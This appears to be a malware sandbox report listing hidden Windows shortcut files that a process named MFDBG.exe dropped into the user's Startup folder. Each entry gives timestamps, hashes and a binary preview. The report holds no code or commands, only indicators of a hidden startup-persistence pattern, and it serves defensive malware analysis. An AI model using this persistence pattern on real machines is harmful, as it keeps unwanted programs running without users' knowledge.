Preview:	L..................F...."...]W%.{......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_053a419816fa4d6bbc66f63b5f9fb26c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:28 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.941182727810649
Encrypted:	false
SSDEEP:	24:8QhBfvl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8C3C0R6rMhpBoUBxdRd1nYyg
MD5:	6124FA87D63660837E2F351DE852F387
SHA1:	A23D554C286AFC54F0D946EFA67B0F34EDAA0334
SHA-256:	70F057745FAA8227670D4535C97337C2B0EA6C1534A1016E1432BC3CEB0212E1
SHA-512:	5FCFAE743BA2E78B108AA384C71BD8EC48444B99CC300FFF16CD6E39942FFE572D89F3E0F1A4271BA8895D5CF4F5B1969121C9D7E9E28271320EC7F55D182CCC
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0544720e0d6e476ab4cc61db40bd7fd6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:26 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936254421164452
Encrypted:	false
SSDEEP:	24:8MshBfGy8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Meuf0R6rMhpBoUBxdRd1nYyg
MD5:	CBBE96FE5A11B050C475BA4ADC857A09
SHA1:	25E0737DD740D6457399D4A3AFD9B651AD66C281
SHA-256:	913DBEDEED0010BE2582B272C97FFA624CD4930D3160C84DCA15B23B0ED94F51
SHA-512:	BE8FFBA96F945607734DF0FDE33D6822894FEF3F0B5309F6AB72069186C4F627CA4C729CDA8419FBA8BB1E71E69C780AD0A5486C0A8C265BA1BFE35F060DBE31
Malicious:	false
Preview:	L..................F...."...]W%.{....6..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....q..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_05b1379186bf4e29be4f6e5d40cace44.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:46 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.947134170543831
Encrypted:	false
SSDEEP:	24:8mphBfT8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8So0R6rMhpBoUBxdRd1nYyg
MD5:	2B20156DBBD558A9C9BE9DCD176F391F
SHA1:	E1B4826E5AE1D5018E442D6A3AB001A6461ACD9C
SHA-256:	8B42AF819512934A129360AAF712F643907314C8DE295858A2F198D399B0E2D1
SHA-512:	5E67C67BDA2005333B7969A619F3EADE5FF4EC6D47499EE05904AD75461692AB42D6F90CBD9F46133D1271D44FCC6C3A57B68467783AEB6370320E30AB1AE063
Malicious:	false
Preview:	L..................F...."...]W%.{....z..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_05c7eb56e841446f9eb1e74c981e3a33.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:45 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934496071988359
Encrypted:	false
SSDEEP:	24:8a5hBfQl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Y30R6rMhpBoUBxdRd1nYyg
MD5:	47C960B27D1A9496E01433F28878A89A
SHA1:	9090AC5DB7D6256D7C9C584C649BDC43DF6AC312
SHA-256:	A3B5F58DFB0365BF5DB8AEA3EFB97318151985F55C63D2E6B08004B3862F9117
SHA-512:	B702650BB4BCF8C32A9C9BC8A571104643B8FCC53BF70BC8D6911A3F28C7A82B11033BC10CDBB6718F0EE9F652925F4A1A92F1CBA20CC690C135B0A14544AE9C
Malicious:	false
Preview:	L..................F...."...]W%.{.....M.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....3.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_05e591f6eb824fa8b3ca246cecc85f0d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:49 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935859517255614
Encrypted:	false
SSDEEP:	24:86hBfp8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8wm0R6rMhpBoUBxdRd1nYyg
MD5:	B43DB61085F2E3BF58CEE2B335E39F68
SHA1:	3CFCC871BFF7686E4729B40D6D0F77CDBEDFFADE
SHA-256:	5ADB8C0A14E96AC4D0FF14EE0E4960E6A2EFFB06E730259B97CFBD35A8CC9A14
SHA-512:	D6D6A19E3CD9087FD893D7F9F097DB99E61F3DE6F404AFBA21DF16842577E08596C2D65E53F66403DD1C4F10D239C192157C5A57C705DEB6F1D62F89DBE2EFFE
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....x..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_06165b1d6b664b5e86d478972d965c3a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:10 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940702108847513
Encrypted:	false
SSDEEP:	24:87hBfbp8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8/DO0R6rMhpBoUBxdRd1nYyg
MD5:	147E4F755158F69D5F94A5057B8DA116
SHA1:	25CC2CCFA1449F0CD45D1ACC1EB4E0E8BFB5AA95
SHA-256:	10988C2A923017D28043D92BE4A7E40AA950BAAC9DCC37483FF94AD6BAEDFD20
SHA-512:	840913AA2235AC4BA2025E29DA0371A9A89D68337A0F81ED4CB166ABD47CBCF12316ECD25C7BABBB302E44F0AB7AC6115A0DBB2F71273CBD747B6B5FF501D391
Malicious:	false
Preview:	L..................F...."...]W%.{....R9.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...d./.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_062df8eb1ecb4b5f9c50e93c669afef5.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:14 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936436629178126
Encrypted:	false
SSDEEP:	24:8ZPhBfeczp8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8he0R6rMhpBoUBxdRd1nYyg
MD5:	1A8588CD77A1C4587535D662DB89217B
SHA1:	4B61E64E4A64478B3D87F013BB5C543BC2A067CB
SHA-256:	A05A93DB009D00816E3EA169474B5393B6E0C26FE075B3121206CB375E6B3A1C
SHA-512:	E64385822ED628CBA93281CEEE7741E6074739C5D63F9C5861D352D642C6A6147F89A829E0BEFC02CF0B291A5CD5006CBCCA7AE7A61853C165D308564AEF3DB3
Malicious:	false
Preview:	L..................F...."...]W%.{...o ..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...o ..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0752b4308752497792cc1c0cfd143a34.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:49 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.933708888697828
Encrypted:	false
SSDEEP:	24:8o8hBfDD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:85rQ0R6rMhpBoUBxdRd1nYyg
MD5:	0D1A330C29633FEF7136BB007FDF83C1
SHA1:	D4B3CED3C70763AEEF76F30FEDD124C713560A3E
SHA-256:	040BF4F5024A5FBDF2FC79AD37ED7320F9C5EA5FF958D51299CCC0790ACE5DC1
SHA-512:	0C43BD0340C75E414426B0068929DAF11A6DC3F89FCD1D669B6368B9F0FCA78099D2DCFC820FEFBDAA36F1A6748E7C61AC8B899895B5DC8BDC6B694A07349578
Malicious:	false
Preview:	L..................F...."...]W%.{...aE..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_07536cd27c8941b08e0f13cc8cf12879.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:49 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939076684175791
Encrypted:	false
SSDEEP:	24:8EhBfp8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8mm0R6rMhpBoUBxdRd1nYyg
MD5:	AC604BF32B430B1DC5969343055EBBE3
SHA1:	254F3422827D719B82D129CBC559728EE46CD4BB
SHA-256:	5925BB054CBB2D5959430612B58195AA520BC7BED60F533F7ACACCCB8BC47F38
SHA-512:	3194FB5145CB59A6B44333A7FC2667E21F72F7D521B86F2D60206B8791B4731EF4DFDD3D1016C74472057237212F23A3618E8AED1367D6A0E7222F16BFA075F5
Malicious:	false
Preview:	L..................F...."...]W%.{....)..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....x..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_07882085e9ec49f3b2313e4e590d1ac0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:51 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937891681560861
Encrypted:	false
SSDEEP:	24:81hBfyQ8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8laF0R6rMhpBoUBxdRd1nYyg
MD5:	02F3090DBA65556DB2DDB5C2852AEA85
SHA1:	4E1241EA5A9A3A395EADA8DD50AD02511E8270B1
SHA-256:	3EE1FC3BCA229DA4AB3F85C7B38D26761FA14615005B3BA671A7559F0011F61C
SHA-512:	308A95848938019619861AB9ECC0BEE2F9BDC7CA0599D8873D75DBFC140220BD97B0DAF8F81B991D6B76592855203BADD531970CAF4D1AB5C163E38E324C6F28
Malicious:	false
Preview:	L..................F...."...]W%.{...V8..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....s..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_07b2f22b586041fcb482324a015aa4c7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:00 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935981793405606
Encrypted:	false
SSDEEP:	24:8KhBfv8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8gs0R6rMhpBoUBxdRd1nYyg
MD5:	2EB1C6D88F7293E8CA418EC39FAEDBD0
SHA1:	3CDB1BE683A05B361063F7A5EF192CF580552419
SHA-256:	5498E4B6F96836E798532B07A6D7100FCA22366E126990357F613166DECEC1E5
SHA-512:	54915D76B2A7A8B7943F4FBE597EEF4B2672AB70EE3768F9CDD055735AC45CB9B9DE419E42757099DFAA87CC8592583305D37B448C2B5AD4001D1DF74F12B523
Malicious:	false
Preview:	L..................F...."...]W%.{.....{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...N.e.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_091f6f811cfc4478855c1dcecdd833ba.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:18 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9348110590621985
Encrypted:	false
SSDEEP:	24:8ihBfFbD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8I9c0R6rMhpBoUBxdRd1nYyg
MD5:	C923072D221EE6D58E6833D9DD7A943F
SHA1:	592419005563FA4A6CFD212347A589C2BAC3C7C8
SHA-256:	9FAB0EC6906E096604DF0A2287760DA2E491E531C678BDC79436C233A01E90AD
SHA-512:	6538EBFA47E090339304F2B7BBBBDE2EDB3A1C12C73F5EDFA640B007B4FCE98880CD1C30CF0EE9FB3450696DA671F0663CDED7A9BE7373A19D5C26F393DF43EB
Malicious:	false
Preview:	L..................F...."...]W%.{...a.f.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....QJ.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0963a2a7665e4211a838b0c496edbf22.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:49 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935418949754614
Encrypted:	false
SSDEEP:	24:8oGhBfq8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8v/0R6rMhpBoUBxdRd1nYyg
MD5:	80D8FF2CEDA64CC98DFDBEC3096F8EA2
SHA1:	8ECEA957D0BD4AB60670DD8D8380E989BF2956F6
SHA-256:	2FC2DD86B0C1E50354234808328D7B0F31090108711C1E11369245532CCFE616
SHA-512:	8D90E89D18454C3413089620CB364C8DE3594D30E89E6F27D59216623596B13FFFAFA9B9ED030FF81D593A1116CC7BF9239BC3DC685DFA065EE1D1864A6164DD
Malicious:	false
